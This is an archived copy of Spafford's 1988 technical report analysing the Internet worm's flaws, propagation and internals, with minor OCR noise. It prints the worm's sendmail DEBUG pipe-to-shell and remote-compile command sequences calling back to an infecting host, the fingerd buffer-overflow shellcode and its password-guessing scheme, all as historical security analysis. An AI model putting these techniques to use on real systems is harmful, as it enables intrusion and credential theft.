home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / tr823.doc < prev    next >
Encoding:
Text File  |  2003-06-11  |  102.3 KB  |  1,949 lines

  1.  
  2.  
  3. The Internet Worm Program: An Analysis 
  4.  
  5. Purdue Technical Report CSD-TR-823 
  6.  
  7. Eugene H. Spafford 
  8. Department of Computer Sciences Purdue University 
  9. West Lafayette, IN 47907-2004 
  10.  
  11. spaf@cs.purdue.edu 
  12.  
  13.  
  14. ABSTRACT 
  15. On the evening of 2 November 1988, someone infected the Internet 
  16. with a worm program. That program exploited flaws in utility 
  17. programs in systems based on BSD-derived versions of UNIX. The 
  18. flaws allowed the program to break into those machines and copy 
  19. itself, thus infecting those systems. This infection eventually 
  20. spread to thousands of machines, and disrupted normal activities 
  21. and Internet connectivity for many days. This report gives a 
  22. detailed description of the components of the worm 
  23. program\320data and functions. It is based on study of two 
  24. completely independent reverse-compilations of the worm and a 
  25. version disassembled to VAX assembly language. Almost no source 
  26. code is given in the paper because of current concerns about the 
  27. state of the ``immune system'' of Internet hosts, but the 
  28. description should be detailed enough to allow the reader to 
  29. understand the behavior of the program. The paper contains a 
  30. review of the security flaws exploited by the worm program, and 
  31. gives some recommendations on how to eliminate or mitigate their 
  32. future use. The report also includes an analysis of the coding 
  33. style and methods used by the author\(s\) of the worm, and draws 
  34. some conclusions about his abilities and intent. 
  35.  
  36. Copyright 1988 by Eugene H. Spafford. All rights reserved. 
  37.  
  38. Permission is hereby granted to make copies of this work, without 
  39. charge, solely for the purposes of instruction and research. Any 
  40. such copies must include a copy of this title page and copyright 
  41. notice. Any other reproduction, publication, or use is strictly 
  42. prohibited without express written permission. November 29, 1988 
  43.  
  44. The Internet Worm Program: An Analysis 
  45. Purdue Technical Report CSD-TR-823 
  46. Eugene H. Spafford 
  47. Department of Computer Sciences 
  48. Purdue University West Lafayette, IN 47907-2004 
  49.  
  50. spaf@cs.purdue.edu 
  51.  
  52. Introduction 
  53. On the evening of 2 November 1988 the Internet came under attack 
  54. >From within. Sometime round 6 PM EST, a program was executed on 
  55. one or more hosts connected to the Internet. This program 
  56. collected host, network, and user information, then broke into 
  57. other machines ???using flaws present in those systems' software. 
  58. After breaking in, the program would replicate itself and the 
  59. replica would also attempt to infect other systems. Although the 
  60. program would only infect Sun Microsystems Sun 3 systems, and VAX 
  61. computers running variants of 4 BSD UNIX the program spread 
  62. quickly, as did the confusion and consternation of system 
  63. administrators and users as they discovered that their systems 
  64. had been infected. Although UNIX has long been known to have some 
  65. security weaknesses \(cf. [Ritc79], [Gram84], and [Reid87]\), the 
  66. scope of the breakins came as a great surprise to almost 
  67. everyone. he program was mysterious to users at sites where it 
  68. appeared. Unusual files were left in the usr/tmp directories of 
  69. some machines, and strange messages appeared in the log files of 
  70. some of the utilities, such as the sendmail mail handling agent. 
  71. The most noticeable effect, however, was that systems became more 
  72. and more loaded with running processes as they became repeatedly 
  73. infected. As time went on, some of these machines became so 
  74. loaded that they were unable to continue any processing; some 
  75. machines failed completely when their swap space or process 
  76. tables were exhausted. By late Thursday night, personnel at the 
  77. University of California at Berkeley and at Massachusetts 
  78. Institute of Technology had ``captured'' copies of the program 
  79. and began to analyze it. People at other sites also began to 
  80. study the program and were developing methods of eradicating it. 
  81. A common fear was that the program was somehow tampering with 
  82. system resources in a way that could not be readily detected and 
  83. that while a cure was being sought, system files were being 
  84. altered or information destroyed. By 5 AM EST Thursday morning, 
  85. less than 12 hours after the infection started on the network, 
  86. the Computer Systems Research Group at Berkeley had developed an 
  87. interim set of steps to halt its spread. This included a 
  88. preliminary patch to the sendmail mail agent, and the suggestion 
  89. to rename one or both of the C compiler and loader to prevent 
  90. their use. These suggestions were published in mailing lists and 
  91. on the usenet, although their spread was hampered by systems 
  92. disconnecting from the Internet to attempt a ``quarantine.'' 
  93. By about 7 PM EST Thursday, another simple, effective method of 
  94. stopping the infection, without renaming system utilities, was 
  95. discovered at Purdue and also widely published. Software patches 
  96. were posted by the Berkeley group at the same time to mend all 
  97. the flaws that enabled the program to invade systems. All that 
  98. remained was to analyze the code that caused the problems. On 
  99. November 8, the National Computer Security Center held a 
  100. hastily-convened workshop in Baltimore. The topic of discussion 
  101. was the program and what it meant to the internet community. Who 
  102. was at that meeting and why they were invited, and the topics 
  103. discussed have not yet been made public. 
  104.  
  105. However, one thing we know that was decided by those present at 
  106. the meeting was that they would not distribute copies of their 
  107. reverse-engineered code to the general public. It was felt that 
  108. the program exploited too many little-known techniques and that 
  109. making it generally available would only provide other attackers 
  110. a framework to build another such program. Although such a stance 
  111. is well-intended, it can serve only as a delaying tactic. As of 
  112. November 27, I am aware of at least five versions of the 
  113. decompiled code, and because of the widespread distribution of 
  114. the binary, I am sure there are at least ten times that many 
  115. versions already completed or in progress and the required skills 
  116. and tools are too readily available within the community to 
  117. believe that only a few groups have the capability to reconstruct 
  118. the source code. any system administrators, programmers, and 
  119. managers are interested in how the program managed to establish 
  120. itself on their systems and spread so quickly These individuals 
  121. have  valid interest in seeing the code, especially if they are 
  122. software vendors. Their interest is not to duplicate the program, 
  123. but to be sure that all the holes used by the program are 
  124. properly plugged. Furthermore, examining the code may help 
  125. administrators and vendors develop defenses against future 
  126. attacks, despite the claims to the contrary by some of the 
  127. individuals with copies of the reverse-engineered code. This 
  128. report is intended to serve an interim role in this process. It 
  129. is a detailed description of how the program works, but does not 
  130. provide source code that could be used to create a new worm 
  131. program. As such, this should be an aid to those individuals 
  132. seeking a better understanding of how the code worked, yet it is 
  133. in such a form that it cannot be used to create a new worm 
  134. without considerable effort. Section 3 and Appendix C contain 
  135. specific observations about some of the flaws in the system 
  136. exploited by the program, and their fixes. A companion report, to 
  137. be issued in a few weeks, will contain a history of the worm's 
  138. spread through the Internet. This analysis is the result of a 
  139. study performed on three separate reverse-engineered versions of 
  140. the worm code. Two of these versions are in C code, and one in 
  141. VAX assembler. All three agree in all but the most minor details. 
  142. One C version of the code compiles to binary that is identical to 
  143. the original code, except for minor differences of no 
  144. significance. As such, I can state with some certainty that if 
  145. there was only one version of the worm program, then it was 
  146. benign in intent. The worm did not write to the file system 
  147. except when transferring itself into a target system. It also did 
  148. not transmit any information from infected systems to any site, 
  149. other than copies of the worm program itself. Since the Berkeley 
  150. Computer Systems Research Group as already published official 
  151. fixes to the flaws exploited by the program, we do not have to 
  152. worry about these specific attacks being used again. Many vendors 
  153. have also issued appropriate patches. It now remains to convince 
  154. the remaining vendors to issue fixes, and users to install them. 
  155.  
  156. Terminology 
  157.  
  158. There seems to be considerable variation in the names applied to 
  159. the program described in this paper. I use the term worm instead 
  160. of virus based on its behavior. Members of the press have used 
  161. the term virus, possibly because their experience to date has 
  162. been only with that form of security problem. This usage has been 
  163. reinforced by quotes from computer managers and programmers also 
  164. unfamiliar with the terminology. For purposes of clarifying the 
  165. terminology, let me define the difference between these two terms 
  166. and give some citations to their origins:  worm is a program that 
  167. can run by itself and can propagate a fully working version of 
  168. itself to other machines. It is derived from the word tapeworm, a 
  169. parasitic organism that lives inside a host and saps its 
  170. resources to maintain itself.  virus is a piece of code that adds 
  171. itself to other programs, including operating systems. it cannot 
  172. run independently and it requires that its ``host'' program be 
  173. run to activate it. As such, it has a clear analog to biological 
  174. viruses and those viruses are not considered alive in  the usual 
  175. sense; instead, they invade host cells and corrupt them, causing 
  176. them to produce  new viruses.  The program that was loosed on the 
  177. Internet was clearly a worm.  
  178.  
  179. 2.1. Worms  
  180.  
  181. The concept of a worm program that spreads itself from machine to 
  182. (machine was  apparently first described by John Brunner in 1975 
  183. in his classic science fiction novel The Shockwave Rider. 
  184. [Brun75]  He called these programs tapeworms that lived 
  185. ``inside'' the computers  and spread themselves to other 
  186. machines. In 1979-1981, researchers at Xerox PARC built and  
  187. experimented with worm programs. They reported their experiences 
  188. in an article in 1982 in Communications of the ACM.  [Shoc82] The 
  189. worms built at PARC were designed to travel from machine to 
  190. machine and do useful  work in a distributed environment. They 
  191. were not used at that time to break into systems,  although some 
  192. did ``get away'' during the tests. A few people seem to prefer to 
  193. call the Internet Worm a virus because it was destructive, and 
  194. they believe worms are non-destructive. Not  everyone agrees that 
  195. the Internet Worm was destructive, however. Since intent and 
  196. effect are sometimes difficult to judge, using those as a naming 
  197. criterion is clearly insufficient. As such, worm continues to be 
  198. the clear choice to describe this kind of program.  
  199.  
  200. 2.2. Viruses  
  201.  
  202. The first (use of the word virus \(to my knowledge\) to describe 
  203. something that infects a  computer was by David Gerrold in his 
  204. science fiction short stories about the G.O.D. machine.  These 
  205. stories were later combined and expanded to form the book 
  206. When Harlie Was One. [Gerr72] (A subplot in that book described a 
  207. program named VIRUS created by an unethical scientist.  A  
  208. computer infected with VIRUS would randomly dial the phone until 
  209. it found another computer.  It  would then break into that system 
  210. and infect it with a copy of VIRUS. This program would infiltrate 
  211. the system software and slow the system down so much that it 
  212. became unusable  except to infect other machines\). The inventor 
  213. had plans to sell a program named VACCINE  that could cure VIRUS 
  214. and prevent infection, but disaster occurred when noise on a 
  215. phone line caused VIRUS to mutate so VACCINE ceased to be 
  216. effective.  The term computer virus was first used in a formal 
  217. way by Fred Cohen at USC. [Cohe84]  He  defined the term to mean 
  218. a security problem that attaches itself to other code and turns 
  219. it into  something that produces viruses; to quote from his 
  220. paper: ``We define a computer `virus' as a  program that can 
  221. infect other programs by modifying them to include a possibly 
  222. evolved copy of itself.'' He claimed the first computer virus was 
  223. ``born'' on November 3, 1983, written by  himself for a security 
  224. seminar course.  
  225.  
  226. The interested reader may also wish to consult [Denn88] and 
  227. [Dewd85] for further discussion of the terms.  
  228.  
  229. 3.  Flaws and Misfeatures  
  230.  
  231. 3.1. Specific Problems  
  232.  
  233. The actions of the Internet Worm exposed some specific security 
  234. flaws in standard services provided by BSD-derived versions of 
  235. UNIX. Specific patches for these flaws have been widely 
  236. circulated in days since the worm program attacked the Internet. 
  237. Those flaws and patches are  discussed here.  
  238.  
  239. 3.1.1. fingerd and gets  
  240.  
  241. The finger program is a utility that allows users to obtain 
  242. information about other users. It  is usually used to identify 
  243. the full name or login name of a user, whether or not a user is  
  244. currently logged in, and possibly other information about the 
  245. person such as telephone numbers  where he or she can be reached. 
  246. The fingerd program is intended to run as a daemon, or background 
  247. process, to service remote requests using the finger protocol.  
  248. [Harr77]  The bug exploited to break fingerd involved overrunning 
  249. the buffer the daemon used for  input. The standard C library has 
  250. a few routines that read input without checking for bounds on  
  251. the buffer involved. In particular, the gets call takes input to 
  252. a buffer without doing any bounds  checking; this was the call 
  253. exploited by the worm.  The gets routine is not the only routine 
  254. with this flaw. The family of routines scanf/fscanf/sscanf may 
  255. also overrun buffers when decoding input unless the user 
  256. explicitly  specifies limits on the number of characters to be 
  257. converted. Incautious use of the sprintf routine can overrun 
  258. buffers. Use of the strcat/strcpy calls instead of the 
  259. strncat/strncpy routines  may also overflow their buffers.  
  260. Although experienced C programmers are aware of the problems with 
  261. these routines, they  continue to use them. Worse, their format 
  262. is in some sense codified not only by historical inclusion in 
  263. UNIX and the C language, but more formally in the forthcoming 
  264. ANSI language standard  for C. The hazard with these calls is 
  265. that any network server or privileged program using  them may 
  266. possibly be compromised by careful precalculation of the 
  267. inappropriate input.  An important step in removing this hazard 
  268. would be first to develop a set of replacement  calls that accept 
  269. values for bounds on their program-supplied buffer arguments. 
  270. Next, all system servers and privileged applications should be 
  271. examined for unchecked uses of the original  calls, with those 
  272. calls then being replaced by the new bounded versions. Note that 
  273. this audit  has  already been performed by the group at Berkeley; 
  274. only the fingerd and timed servers used the gets call, and 
  275. patches to fingerd have already been posted. Appendix C contains 
  276. a new  version of fingerd written specifically for this report 
  277. that may be used to replace the original version. This version 
  278. makes no calls to gets.  
  279.  
  280. 3.1.2. Sendmail  
  281.  
  282. The sendmail program is a mailer designed to route mail in a 
  283. heterogeneous internetwork.  [Allm83]  The program operates in a 
  284. number of modes, but the one of most interest is  when it is 
  285. operating as a daemon process. In this mode, the program is 
  286. ``listening'' on (a TCP  port \(#25\) for attempts to deliver 
  287. mail using standard Internet protocols, principally SMTP  
  288. \(Simple Mail Transfer Protocol\).  [Post82]  When such a request 
  289. is detected, the daemon enters into  a dialog with the remote 
  290. mailer to determine sender, recipient, delivery instructions, and 
  291. message contents.  The bug exploited in sendmail had to do with 
  292. functionality provided by a debugging  option in the code. The 
  293. worm would issue the DEBUG command to sendmail and then specify  
  294. a set of commands instead of a user address as the recipient of 
  295. the message. Normally, this (is  not allowed, but it is present 
  296. in the debugging code to allow testers to verify that mail is 
  297. arriving at a particular site without the need to activate the 
  298. address resolution routines. The debug  option of sendmail is 
  299. often used because of the complexity of configuring the mailer 
  300. for local  conditions, and many vendors and site administrators 
  301. leave the debug option compiled in.  The sendmail program is of 
  302. immense importance on most Berkeley-derived \(and other\) UNIX 
  303. systems because it handles the complex tasks of mail routing and 
  304. delivery. Yet, despite  its importance and wide-spread use, most 
  305. system administrators (know little about how it works.  Stories 
  306. are often related about how system administrators will attempt to 
  307. write new device  drivers or otherwise modify the kernel of the 
  308. OS, yet they will not willingly attempt to modify  sendmail or 
  309. its configuration files.  It is little wonder, then, that bugs 
  310. are present (in sendmail that allow unexpected behavior.  Other 
  311. flaws have been found and reported now that attention has been 
  312. focused on the program,  but it is not known for sure if all the 
  313. bugs have been discovered and all the patches circulated.  One 
  314. obvious approach would be to dispose of sendmail and come (up 
  315. with a simpler program to handle mail. Actually, for purposes 
  316. of verification, developing a suite of cooperating  programs 
  317. would be a better approach, and more aligned with the UNIX 
  318. philosophy. In effect,  sendmail is fundamentally flawed, not 
  319. because of anything related to function, (but because it is  too 
  320. complex and difficult to understand.  
  321.  
  322. The Berkeley Computer Systems Research Group has a new version of 
  323. sendmail with  many bug fixes and fixes for security flaws. This 
  324. version of sendmail is available for FTP from  the host 
  325. ``ucbarpa.berkeley.edu'' and will be present in the file 
  326. ~ftp/pub/sendmail.tar.Z by the  end of November 1988. Note that 
  327. this version is shipped with the DEBUG option disabled by  
  328. default. However, this does not help system administrators who 
  329. wish to enable the DEBUG  option, although the researchers at 
  330. Berkeley believe they have fixed (all the security flaws  
  331. inherent in that facility. One approach that could be taken with 
  332. the program would be to have it  prompt the user for the password 
  333. of the super user \(root\) when the DEBUG command is given.  A 
  334. static password should never be compiled into the program because 
  335. (this would mean that the same password might be present at 
  336. multiple sites and seldom changed.  For those sites without 
  337. access to FTP or otherwise unable to obtain the new version, the  
  338. official patches to sendmail are enclosed in Appendix D.  
  339.  
  340. 3.2. Other Problems  
  341.  
  342. Although the worm exploited flaws in only two server programs, 
  343. its behavior has served to  illustrate a few fundamental problems 
  344. that have not yet been widely addressed. In the interest of  
  345. promoting better security, some of these problems are discussed 
  346. here. (The interested reader is  directed to works such as 
  347. [Gram84] for a broader discussion of related issues.  
  348.  
  349. 3.2.1. Servers in general  
  350.  
  351. A security flaw not exploited by the worm, but now becoming 
  352. obvious, is that many system services have configuration and 
  353. command files owned by the same userid. Programs like  sendmail, 
  354. the at service, and other facilities are often all owned by the 
  355. same (non-user id. This  means that if it is possible to abuse 
  356. one of the services, it might be possible to abuse many.  One way 
  357. to deal with the general problem is have every daemon and 
  358. subsystem run with a  separate userid. That way, the command and 
  359. data files for each subsystem could (be protected in  such a way 
  360. that only that subsystem could have write \(and perhaps read\) 
  361. access to the files.  This is effectively an implementation of 
  362. the principle of least privilege. Although doing this  might add 
  363. an extra dozen user ids to the system, it is a small (cost to 
  364. pay, and is already sup ported in the UNIX paradigm. Services 
  365. that should have separate ids include sendmail, news, at,  
  366. finger, ftp, uucp and YP.  
  367.  
  368. 3.2.2. Passwords  
  369.  
  370. A key attack of the worm program involved attempts to discover 
  371. user passwords. It was  able to determine success because the 
  372. encrypted password of each user was in a publicly readable file. 
  373. This allows an attacker to encrypt lists of possible passwords 
  374. and then compare  them against the actual passwords without 
  375. passing through any system function. In effect, the  security of 
  376. the passwords is provided in large part by the prohibitive effort 
  377. of trying all combinations of letters. Unfortunately, as machines 
  378. get faster, the cost of such attempts decreases.  Dividing the 
  379. task among multiple processors further reduces the time needed to 
  380. decrypt a password. It (is currently feasible to use a 
  381. supercomputer to precalculate all probable passwords and store 
  382. them on optical media. Although not \(currently\) portable, this 
  383. scheme would allow someone with the appropriate resources access 
  384. to any account for which they could read the password  field and 
  385. then consult (their database of pre-encrypted passwords. As the 
  386. density of storage  media increases, this problem will only get 
  387. more severe.  A clear approach to reducing the risk of such 
  388. attacks, and an approach that has already  been taken in some 
  389. variants of UNIX, would be to have a (shadow) password file. The 
  390. encrypted  passwords are saved in a file that is readable only by 
  391. the system administrators, and a privileged  call performs 
  392. password encryptions and comparisons with an appropriate delay 
  393. \(.5 to 1 second,  for instance\). This would prevent any attempt 
  394. to ``fish'' for passwords. Additionally, a threshold could be 
  395. included to check for repeated password attempts from the same 
  396. process, resulting  in some form of alarm being raised. Shadow 
  397. password files should be used in combination with  encryption 
  398. rather than in place of such techniques, however, or one problem 
  399. is simply replaced  by a different one; the combination of the 
  400. two methods is stronger than either one alone.  Another way to 
  401. strengthen the password mechanism would be to change the utility 
  402. that  sets user passwords. The utility currently makes minimal 
  403. attempt to ensure that new passwords are nontrivial to guess. The 
  404. program could be strengthened in such a way that it would reject 
  405. any choice of a word currently in the on-line dictionary or based 
  406. on the account name.  
  407.  
  408. 4. High-Level Description of the Worm  
  409.  
  410. This section contains a high-level overview of how the worm 
  411. program functions. The  description in this section assumes that 
  412. the reader is familiar with UNIX and somewhat familiar  with 
  413. network facilities under UNIX. Section 5 describes the individual 
  414. functions and structures  in more detail.  The worm consists of 
  415. two parts: a main program, and a bootstrap or vector program  
  416. \(described in Appendix B\). We will start our description from 
  417. the point at which a host is  about to be infected. At this 
  418. point, a worm running on another machine has either succeeded in  
  419. establishing a shell on the new host and has connected back to 
  420. the infecting machine via a TCP  connection, or it has connected 
  421. to the SMTP port and is transmitting to the sendmail program.  
  422. The infection proceeded as follows:  1\) A socket was established 
  423. on the infecting machine for the vector program to connect to  
  424. \(e.g., socket number 32341\). A challenge string was constructed 
  425. >From a random number  \(e.g., 8712440\). A file name base was 
  426. also constructed using a random number \(e.g.,  14481910\).  2\) 
  427. The vector program was installed and executed using one of two 
  428. methods:  2a\) Across a TCP connection to a shell, the worm would 
  429. send the following commands  \(the two lines beginning with 
  430. ``cc'' were sent as a single line\):  
  431. PATH=/bin:/usr/bin:/usr/ucb  cd /usr/tmp  echo gorch49; sed '/int 
  432. zz/q' > x14481910.c;echo gorch50  [text of vector 
  433. program\320enclosed in Appendix B]  int zz;  cc (-o x14481910 
  434. x14481910.c;./x14481910 128.32.134.16 32341 8712440;  rm -f 
  435. x14481910 x14481910.c;echo DONE  
  436. Then it would wait for the string ``DONE'' to signal that the 
  437. vector program was  running.  2b\) Using the SMTP connection, it 
  438. would transmit \(the two lines beginning with ``cc''  were sent 
  439. as a single line\):  
  440. debug  mail from: </dev/null>  rcpt to: <"|sed -e '1,/^$/'d | 
  441. /bin/sh ; exit 0">  data  cd /usr/tmp  cat > x14481910.c <<'EOF'  
  442. [text of vector program\320enclosed in Appendix III]  EOF  cc -o 
  443. x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440;  rm 
  444. -f x14481910 x14481910.c .   quit  
  445.  
  446. The infecting worm would then wait for up to 2 minutes on 
  447. the designated port for the vector to contact it.  3\) The vector 
  448. program then connected to the ``server,'' sent the challenge 
  449. string, and  transferred three files: a Sun 3 binary version of 
  450. the worm, a VAX version, and the source  code for the vector 
  451. program. After the files were copied, the running vector program  
  452. became \(via the execl call\) the shell with its input and output 
  453. still connected to the server  worm.  4\) The server worm sent 
  454. the following command stream to the connected shell:  
  455. PATH=/bin:/usr/bin:/usr/ucb  rm -f sh  if [ -f sh ]  then  
  456. P=x14481910  else  P=sh  fi  
  457. Then, for each binary file it had transferred \(just two in this 
  458. case, although the code is  written (to allow more\), it would 
  459. send the following form of command sequence:  
  460. cc -o $P x14481910,sun3.o . /$P -p $$ x14481910,sun3.o 
  461. x14481910,vax.o x14481910,l1.c  rm -f $P  
  462. The rm would succeed only if the linked version of the worm 
  463. failed to start execution. If  the server determined that the 
  464. host was now infected, it closed the connection. Otherwise,  it 
  465. would try the other binary file. After both binary files had been 
  466. tried, it would send over rm commands for the object files to 
  467. clear away all evidence of the attempt at infection.  5\) The new 
  468. worm on the infected host proceeded to ``hide'' itself by 
  469. obscuring its argument  vector, unlinking the binary version of 
  470. itself, and killing its parent \(the $$ argument in the  
  471. invocation\). It then read into memory each of the worm binary 
  472. files, encrypted each file  after reading it, and deleted the 
  473. files from disk.  6\) Next, the new worm gathered information 
  474. about network interfaces and hosts to which the  local machine 
  475. was connected. It built lists of these in memory, including 
  476. information  about canonical and alternate names and addresses. 
  477. It gathered some of this information  by making direct 
  478. ioctl calls, and by running the netstat program with various 
  479. arguments.  It also read through various system files looking for 
  480. host names to add to its database.  7\) It randomized the lists 
  481. it constructed, then attempted to infect some of those hosts. For  
  482. directly connected networks, it created a list of possible host 
  483. numbers and attempted to infect those hosts if they existed. 
  484. Depending on the type of host \(gateway or local network\), the 
  485. worm first tried to establish a connection on the telnet or rexec 
  486. ports to determine reachability before it attempted one of the 
  487. infection methods.  8\) The infection attempts proceeded by one 
  488. of three routes: rsh, fingerd, or sendmail.  8a\) The attack via 
  489. rsh was done by attempting to spawn a remote shell by invocation 
  490. of  \(in order of trial\) /usr/ucb/rsh, /usr/bin/rsh, and 
  491. /bin/rsh. If successful, the host was  infected as in steps 1 and 
  492. 2a, above.  8b\) The attack via the finger daemon was somewhat 
  493. more subtle. A connection was  established to the remote finger 
  494. server daemon and then a specially constructed  string of 536 
  495. bytes was passed to the daemon, overflowing its input buffer and 
  496. overwriting parts of the stack. For standard 4 BSD versions 
  497. running on VAX computers, the overflow resulted in the return 
  498. stack frame for the main routine being  changed so that the 
  499. return address pointed into the buffer on the stack. The 
  500. instructions that were written into the stack at that location 
  501. were:  pushl $68732f '/sh\\0'  pushl $6e69622f '/bin'  movl sp, 
  502. r10  pushrl $0  pushrl $0  pushrl r10  pushrl $3  movl sp,ap  
  503. chmk $3b  That (is, the code executed when the main routine 
  504. attempted to return was:  execve\("/bin/sh", 0, 0\)  On VAXen, 
  505. this resulted in the worm connected to a remote shell via the TCP 
  506. connection. The worm then proceeded to infect the host as in 
  507. steps 1 and 2a, (above.  On Suns, this simply resulted in a core 
  508. file since the code was not in place to corrupt  a Sun version of 
  509. fingerd in a similar fashion.  8c\) The worm then tried to infect 
  510. the remote host by establishing a connection to the  SMTP port 
  511. and mailing an (infection, as in step 2b, above.  Not all the 
  512. steps were attempted. As soon as one method succeeded, the host 
  513. entry in the internal list was marked as infected and the other 
  514. methods were not attempted.  9\) Next, it entered a state machine 
  515. consisting of five states. Each state (was run for a short  
  516. while, then the program looped back to step #7 \(attempting to 
  517. break into other hosts via sendmail, finger, or rsh \). The first 
  518. four of the five states were attempts to break into user  
  519. accounts on the local machine. The fifth state was the final 
  520. state, and occurred after all  attempts had been made to break 
  521. all passwords. In the fifth state, the worm looped forever  
  522. trying to infect hosts in its internal tables and marked as not 
  523. yet infected. The four states  were:  9a\) The worm read through 
  524. the /etc/hosts.equiv files and /.rhosts files to find the names 
  525. of equivalent hosts. These were marked in the internal table of 
  526. hosts. Next, the  worm read the /etc/passwd file into an internal 
  527. data structure. As it was doing this, it  also examined 
  528. the .forward file in each user home directory and included those 
  529. host  names in its internal table of hosts to try. Oddly, it did 
  530. not similarly check user .rhosts files.  9b\) The worm attempted 
  531. to break each user password using simple choices. The worm  
  532. checked the obvious case of no password. Then, it used the 
  533. account name and  GECOS field to try simple passwords. Assume 
  534. that the user had an entry in the  password file like:  
  535. account:abcedfghijklm:100:5:User, Name:/usr/account:/bin/sh  then 
  536. the words tried as potential passwords would be account, 
  537. accountaccount, User,  Name, user, name, and tnuocca. These are, 
  538. respectively, the account name, the  account name concatenated 
  539. with itself, the first and last names of the user, the user  
  540. names with leading capital letters turned to lower case, and the 
  541. account name  reversed. Experience described in [Gram84] 
  542. indicates that on systems where users are naive about password 
  543. security, these choices may work for up to 30% of user passwords.  
  544. Step 10 in this section describes what was done if a password 
  545. ``hit'' was achieved.  9c\) The third stage in the process 
  546. involved trying to break the password of each user by  trying 
  547. each word present in an internal dictionary of words \(see 
  548. Appendix I\). This  dictionary of 432 words was tried against 
  549. each account in a random order, with  ``hits'' being handled as 
  550. described in step 10, below.  9d\) The fourth stage was entered 
  551. if all other attempts failed. For each word in the file  
  552. /usr/dict/words, the worm would see if it was the password to any 
  553. account. In addition, if the word in the dictionary began with an 
  554. upper case letter, the letter was converted to lower case and 
  555. that word was also tried against all the passwords.  10\) Once a 
  556. password was broken for any account, the worm would attempt to 
  557. break into  remote machines where that user had accounts. The 
  558. worm would scan the .forward and .rhosts files of the user at 
  559. this point, and identify the names of remote hosts that had  
  560. accounts used by the target user. It then attempted two attacks:  
  561. 10a\) The worm would first attempt to create a remote shell using 
  562. the rexec service. The  attempt would be made using the account 
  563. name given in the .forward or .rhosts file  and the user's local 
  564. password. This took advantage of the fact that users often have  
  565. the same password on their accounts on multiple machines.  10b\) 
  566. The worm would do a rexec to the current host \(using the local 
  567. user name and password\) and would try a rsh command to the 
  568. remote host using the username taken  from the file. This attack 
  569. would succeed in those cases where the remote machine  had a 
  570. hosts.equiv file or the user had a .rhosts file that allowed 
  571. remote execution  without a password.  If the remote shell was 
  572. created either way, the attack would continue as in steps 1 and 
  573. 2a,  above. No other use was made of the user password.  
  574. Throughout the execution of the main loop, the worm would check 
  575. for other worms running on the same machine. To do this, the worm 
  576. would attempt to connect to another worm on  a local, 
  577. predetermined TCP socket.  
  578. 9  
  579. If such a connection succeeded, one worm would \(randomly\) set its 
  580. pleasequit variable to 1, causing that worm to exit after it had 
  581. reached partway  into the third stage of password cracking. This 
  582. delay is part of the reason many systems had  multiple worms 
  583. running: even though a worm would check for other local worms, it 
  584. would  defer its self-destruction until significant effort had 
  585. been made to break local passwords.  One out of every seven worms 
  586. would become immortal rather than check for other local  worms. 
  587. This was probably done to defeat any attempt to put a fake worm 
  588. process on the TCP  port to kill existing worms. It also 
  589. contributed to the load of a machine once infected.  The worm 
  590. attempted to send an UDP packet to the host ernie.berkeley.edu  
  591. 10  
  592. approximately once every 15 infections, based on a random number 
  593. comparison. The code to do this  was incorrect, however, and no 
  594. information was ever sent. Whether this was the intended ruse  or 
  595. whether there was actually some reason for the byte to be sent is 
  596. not currently known. However, the code is such that an 
  597. uninitialized byte is the intended message. It is possible that 
  598. the  author eventually intended to run some monitoring program on 
  599. ernie \(after breaking into an account, no doubt\). Such a 
  600. program could obtain the sending host number from the single-byte 
  601. message, whether it was sent as a TCP or UDP packet. However, no 
  602. evidence for such a program has been found and it is possible 
  603. that the connection was simply a feint to cast suspicion  on 
  604. personnel at Berkeley.  The worm would also fork itself on a 
  605. regular basis and kill its parent. This served two  purposes. 
  606. First, the worm appeared to keep changing its process id and no 
  607. single process accumulated excessive amounts of cpu time. 
  608. Secondly, processes that have been running for a long  time have 
  609. their priority downgraded by the scheduler. By forking, the new 
  610. process would  regain normal scheduling priority. This mechanism 
  611. did not always work correctly, either, as we  locally observed 
  612. some instances of the worm with over 600 seconds of accumulated 
  613. cpu time.  If the worm ran for more than 12 hours, it would flush 
  614. its host list of all entries flagged as  being immune or already 
  615. infected. The way hosts were added to this list implies that a 
  616. single  worm might reinfect the same machines every 12 hours.  
  617.  
  618. 5. A Tour of the Worm  
  619.  
  620. The following is a brief, high-level description of the routines 
  621. present in the worm code.  The description covers all the 
  622. significant functionality of the program, but does not describe 
  623. all  the auxiliary routines used nor does it describe all the 
  624. parameters or algorithms involved. It  should, however, give the 
  625. user a complete view of how the worm functioned.  
  626.  
  627. 5.1. Data Structures  
  628.  
  629. The worm had a few global data structures worth mentioning. 
  630. Additionally, the way it  handled some local data is of interest.  
  631.  
  632. 5.1.1. Host list  
  633.  
  634. The worm constructed a linked list of host records. Each record 
  635. contained an array of 12  character pointers to allow storage of 
  636. up to 12 host names/aliases. Each record also contained  an array 
  637. of six long unsigned integers for host addresses, and each record 
  638. contained a flag field.  The only flag bits used in the code 
  639. appear to be 0x01 \(host was a gateway\), 0x2 \(host has been  
  640. infected\), 0x4 \(host cannot be infected \320 not reachable, not 
  641. UNIX, wrong machine type\), and  0x8 \(host was ``equivalent'' in 
  642. the sense that it appeared in a context like .rhosts file\).  
  643.  
  644. 5.1.2. Gateway List  
  645.  
  646. The worm constructed a simply array of gateway IP addresses 
  647. through the use of the system netstat command. These addresses 
  648. were used to infect directly connected networks. The  use of the 
  649. list is described in the explanation of scan_gateways and 
  650. rt_init, below.  
  651.  
  652. 5.1.3. Interfaces list  
  653.  
  654. An array of records was filled in with information about each 
  655. network interface active on  the current host. This included the 
  656. name of the interface, the outgoing address, the netmask, the  
  657. destination host if the link was point-to-point  
  658. 11  
  659. , and the interface flags.  
  660.  
  661.  
  662. 5.1.4. Pwd  
  663.  
  664. A linked list of records was built to hold user information. Each 
  665. structure held the  account name, the encrypted password, the 
  666. home directory, the gecos field, and a link to the  next record. 
  667. A blank field was also allocated for decrypted passwords as they 
  668. were found.  
  669.  
  670. 5.1.5. objects  
  671.  
  672. The program maintained an array of ``objects'' that held the 
  673. files that composed the worm.  Rather than have the files stored 
  674. on disk, the program read the files into these internal 
  675. structures.  Each record in the list contained the suffix of the 
  676. file name \(e.g., ``sun3.o''\), the size of the file,  and the 
  677. encrypted contents of the file. The use of this structure is 
  678. described below.  
  679.  
  680. 5.1.6. Words  
  681.  
  682. A mini-dictionary of words was present in the worm to use in 
  683. password guessing \(see  Appendix A\). The words were stored in 
  684. an array, and every word was masked \(XOR\) with the  bit pattern 
  685. 0x80. Thus, the dictionary would not show up with an invocation 
